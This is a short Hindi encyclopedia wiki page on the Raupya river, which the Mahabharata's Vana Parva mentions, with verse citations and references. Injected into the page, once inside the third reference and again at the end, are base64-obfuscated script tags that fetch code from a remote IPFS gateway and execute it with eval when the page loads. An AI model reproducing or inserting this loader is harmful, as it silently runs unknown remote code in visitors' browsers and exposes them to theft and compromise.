रौप्या नदी

भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 13:28, 31 जनवरी 2015 का अवतरण (''''रौप्या''' नामक एक नदी का उल्लेख महाभारत, [[वनपर्व मह...' के साथ नया पन्ना बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

रौप्या नामक एक नदी का उल्लेख महाभारत, वनपर्व में हुआ है। यह यमुना के निकट बहने वाली नदी थी-

'एतच्चर्चीकपुत्रस्य योगैविचरतो महीम् प्रसर्पण महीपाल रौप्यायाममितौजसः।'[1]

इस प्रसंग में यमुना का उल्लेख 129,2 में हैं-

'अंवरीषश्च नाभाग इष्टवान् यमुनामनु।'

  • रौप्या पर स्थित उपर्युक्त स्थान (प्रसपणं) अशुभ माना गया है तथा वहां एक रात्रि से अधिक ठहरना भी अपवित्र कहा गया है। इसे कुरुक्षेत्र का द्वार बताया गया है-

'अद्यचात्र निवत्स्यामः क्षपांभरतसत्तम, द्वारमेतत् तु कौतेंय कुरुक्षेस्य भारत।'[2]

  • रौप्या नदी का अभिज्ञान अनश्चित है।[3]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. महाभारत, वनपर्व 129,7
  2. महाभारत, वनपर्व 129,11
  3. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 806 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>